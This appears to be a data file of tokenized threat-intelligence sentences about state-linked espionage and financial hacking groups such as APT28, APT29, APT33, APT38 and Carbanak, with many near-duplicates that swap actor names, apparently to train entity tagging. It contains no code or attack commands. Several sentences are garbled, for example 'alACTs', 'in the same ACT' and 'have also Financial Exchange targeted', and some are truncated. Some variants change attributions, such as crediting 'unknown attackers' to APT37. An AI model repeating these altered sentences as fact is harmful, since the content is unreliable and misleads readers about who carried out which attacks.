The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
Several sources consider APT28 a group of CyberMercs based in Russia .
The primary targets of APT28 are potential victims in several countries such as Ukraine , Spain , Russia , Romania , the United States and Canada .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
Finally , the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28 's ability and interest in exploiting geopolitical events for their operations .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM , JHUHUGIT , AZZY and a few others .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
Their evolving and modified SPLM , CHOPSTICK , XAgent code is a long-standing part of Sofacy activity , however much of it is changing .
FireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
APT28 is using novel techniques involving the EternalBlue exploits and the open source tool Responder to spread laterally through networks and likely target travelers .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Compared to other backdoor tools associated with the Sofacy group , the use of Zebrocy in attack campaigns is far more widespread .
As alluded to in our previous blog regarding the Cannon tool , the Sofacy group ( AKA Fancy Bear , APT28 , STRONTIUM , Pawn Storm , Sednit ) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018 .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , " JKEYSKW " ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZY Trojan .
Once a foothold is established , Sofacy trys to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Komplex shares a significant amount of functionality and traits with another tool used by Sofacy – the Carberp variant that Sofacy had used in previous attack campaigns on systems running Windows .
The Sofacy group created the Komplex Trojan to use in attack campaigns targeting the OS X operating system – a move that showcases their continued evolution toward multi-platform attacks .
The Komplex Trojan revealed a design similar to Sofacy 's Carberp variant Trojan , which we believe may have been done in order to handle compromised Windows and OS X systems using the same C2 server application with relative ease .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term " MiniDuke " to identify the first Duke-related malware they found .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , and thus the threat actor operating the toolsets started to be commonly referred to as " Dukes " .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Importantly , PinchDuke trojan samples alACTs contain a notable text string , which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel .
This neatly ties together many of the tools used by the Dukes group , as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke , PinchDuke , and MiniDuke – over the course of five years .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same ACT .
In the latter case however , the Dukes group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
The Dukes could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard TIME timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years .
APT29 has used The Onion Router and the TOR domain fronting plugin meek to create a hidden , encrypted network tunnel that appeared to connect to Google services over TLS .
Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY .
Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years .
In the investigations Mandiant has conducted , it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors .
POSHSPY is an excellent example of the skill and craftiness of APT29 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware , in conjunction with commercially-available tools , to conduct targeted operations that are aligned with Vietnamese state interests .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
From 2016 through 2017 , two subsidiaries of U.S. and Philippine consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
From 2016 through 2017 , two consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2015 and 2016 , two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD , KOMPROGO , SOUNDBITE , and PHOREAL .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike backdoor .
Based on incident response investigations , product detections , and intelligence observations along with additional publications on the same operators , FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
OceanLotus , also known as APT32 , is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics , techniques , and procedures ( TTPs ) .
While Volexity does not typically engage in attempting attribution of any threat actor , Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam .
During that phase , the APT32 operated a fileless PowerShell-based infrastructure , using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike , PowerSploit and Nishang .
However , over the past few years , we have been tracking a separate , less widely known suspected Iranian group with potential destructive capabilities , whom we call APT33 .
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
We assess APT33 works at the behest of the Iranian government .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group , which at the time of this report 's writing , had not been officially linked to this threat actor .
APT33 has shown particular interest in organizations in the aviation sector , as well as organizations in the energy sector with ties to petrochemical production .
From mid-2016 through early 2017 , APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings .
From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups .
This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government .
The publicly available backdoors and tools utilized by APT33 – including NANOCORE , NETWIRE , and ALFA Shell – are all available on Iranian hacking websites , associated with Iranian hackers , and used by other suspected Iranian threat groups .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
We expect APT33 activity will continue to cover a broad scope of targeted entities , and may spread into other regions and sectors as Iranian interests dictate .
The Elfin espionage group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " ( referred to as GroupB in this blog post ) to APT33 , operating at the behest of the Iranian government .
The Elfin group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " to APT33 , operating at the behest of the Iranian government .
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
In 2017 , APT37 targeted a company in Middle East that entered into a joint venture with the North Korean government to provide telecommunications service to the country .
While not conclusive by itself , the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33 's familiarity with them and lends support to the assessment that APT33 may be based in Iran .
North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea .
In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea .
We believe a organization located in Middle East was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad .
In one instance , APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea .
The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone ( UTC +8:30 ) and follows what is believed to be a typical North Korean workday .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
Similarly , APT37 targeting of a company located in Middle East in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
Similarly , APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions , APT37 is an additional tool available to the regime , perhaps even desirable for its relative obscurity .
ScarCruft is a relatively new APT group , victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Certain details , such as using the same infrastructure and targeting , make us believe that Operation Daybreak is being done by the ScarCruft APT group .
Prior to the discovery of Operation Daybreak , we observed the ScarCruft APT launching a series of attacks in Operation Erebus .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
On occasion the APT37 directly included the ROKRAT payload in the malicious document and during other campaigns the attackers leveraged multi-stage infection processes .
In the early part of 2017 , Group123 started the " Evil New Year " campaign .
In November 2017 , Talos observed the latest Group123 campaign of the year , which included a new version of ROKRAT being used in the latest wave of attacks .
Group123 is constantly evolving as the new fileless capability that was added to ROKRAT demonstrates .
In this campaign , the Group123 used a classical HWP document in order to download and execute a previously unknown malware : NavRAT .
However , we asses with medium confidence that NavRAT is linked to Group123 .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
The group has compromised more than 16 organizations in at least 13 different countries , sometimes simultaneously , since at least 2014 .
APT38 shares malware code and other development resources with TEMP.Hermit North Korean cyber espionage activity , although we consider APT38 .
We consider APT38 's operations more global and highly specialized for targeting the financial sector .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Because APT38 is backed by ( and acts on behalf of ) the North Korean regime , we opted to categorize the group as an " APT " instead of a " FIN " .
Over time these malware similarities diverged , as did targeting , intended outcomes , and TTPs , almost certainly indicating that TEMP.Hermit activity is made up of multiple operational groups primarily linked together with shared malware development resources and North Korean state sponsorship .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 has pursued their main objective of targeting banks and financial entities since at least 2014 .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT38 also targeted financial transaction exchange companies likely because of their proximity to banks .
Given the lapse in time between the spear-phishing and the heist activity in the above example , we suggest two separate but related groups under the North Korean regime were responsible for carrying out missions ; one associated with reconnaissance ( TEMP.Hermit or a related group ) and another for the heists ( APT38 ) .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
We can confirm that the APT38 operator activity is linked to the North Korean regime , but maintains a set of common characteristics , including motivation , malware , targeting , and TTPs that set it apart from other statesponsored operations .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Although the APT38 's primary targets appear to be Financial Exchange banks and other financial organizations , they have also Financial Exchange targeted countries ' media organizations with a focus on the financial sector .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
While North Korean cyber operations against specific countries may have been driven by diplomatic factors and perceived insults against Pyongyang , the application of increasingly restrictive and numerous financial sanctions against North Korea probably contributed to the formation of APT38 .
APT38 's operations began in February 2014 and were likely influenced by financial sanctions enacted in March 2013 that blocked bulk cash transfers and restricted North Korea 's access to international banking systems .
APT37 ( Reaper ) , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
APT37 , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
Early APT38 operations suggest that the group began targeting financial institutions with an intent to manipulate financial transaction systems at least as early as February 2014 , although we did not observe fraudulent transactions until 2015 .
We do not have evidence that the earliest targeted financial institutions were victimized by fraudulent transactions before APT38 left the compromised environments , possibly indicating that APT38 was conducting reconnaissance-only activity at that time .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
From November 2015 through the end of 2016 , APT38 was involved in at least nine separate compromises against banks .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
Further , the recent DOJ complaint provides insight into initial compromise techniques conducted by North Korean operators against APT38 targets , which may have been leveraged as part of the initial compromise into the targeted organizations .
This is corroborated by our identification of TEMP.Hermit 's use of MACKTRUCK at a bank , preceding the APT38 operation targeting the bank 's SWIFT systems in late 2015 .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
During one reported incident , APT38 caused an outage in the bank 's essential services .
We attribute APT38 to North Korean state-sponsored operators based on a combination of technical indicators linking the activity to Pyongyang and details released by DOJ implicating North Korean national Park Jin Hyok in a criminal conspiracy .
As detailed in the DOJ complaint , a sample of WHITEOUT malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
Malware overlaps between APT38 and TEMP.Hermit highlight the shared development resources accessible by multiple operational groups linked to North Korean state-sponsored activity .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
This is evidence of shared motivation and intent to target the SWIFT system by the North Korean operators performing the reconnaissance and APT38 which later targeted that organization .
Although APT38 is distinct from other TEMP.Hermit activity , both groups operate consistently within the interests of the North Korean state .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea 's Reconnaissance General Bureau ( RGB ) .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's targeting of financial institutions is most likely an effort by the North Korean government to supplement their heavily-sanctioned economy .
We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
One group , which we call Cadelle , uses Backdoor.Cadelspy , while the other , which we've named Chafer , uses Backdoor.Remexi and Backdoor.Remexi.B .
APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol ( RDP ) , Secure Shell ( SSH ) , PsExec , RemCom , and xCmdSvc .
The APT39 were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BlackOasis ' interests span a wide gamut of figures involved in Middle Eastern politics .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008 — at least based on the file properties of the decoy documents they've been sending to their targets .
Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER has used a broad range of publicly available ( Mimikatz and gsecdump ) and proprietary ( Daserf and Datper ) tools .
BRONZE BUTLER are also fluent in Japanese , crafting phishing emails in native Japanese and operating successfully within a Japanese-language environment .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .
BRONZE BUTLER compromises organizations to conduct cyberespionage , primarily focusing on Japan .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data Exfiltration and to provide remote access to infected machines .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
Carbanak is a backdoor used by the attackers to compromise the victim .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015 .
As with previous campaigns , and as highlighted in our annual M-Trends 2017 report , FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
While FIN7 has embedded VBE as OLE objects for over a year , they continue to update their script launching mechanisms .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The first successful bank robbery was committed by this group in January 2013 .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
We have no evidence of compromises against banks in Western Europe or United States , but it should be noted that the attackers methods could be utilized against banks outside of Russia as well .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
Without any insight into the evidence Kaspersky has obtained , we can only repeat our view that Anunak has targeted only banks in Russia and we have no concrete reports of compromised banks outside of Russia directly related to this criminal group .
Charming Kitten is an Iranian cyberespionage group operating since approximately 2014 .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
Flying Kitten ( which is another name given by the security industry to Charming Kitten ) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI ( Islamic Republic of Iran ) government and foreign espionage targets .
Flying Kitten was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of government and foreign espionage targets .
At certain times , Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team " .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
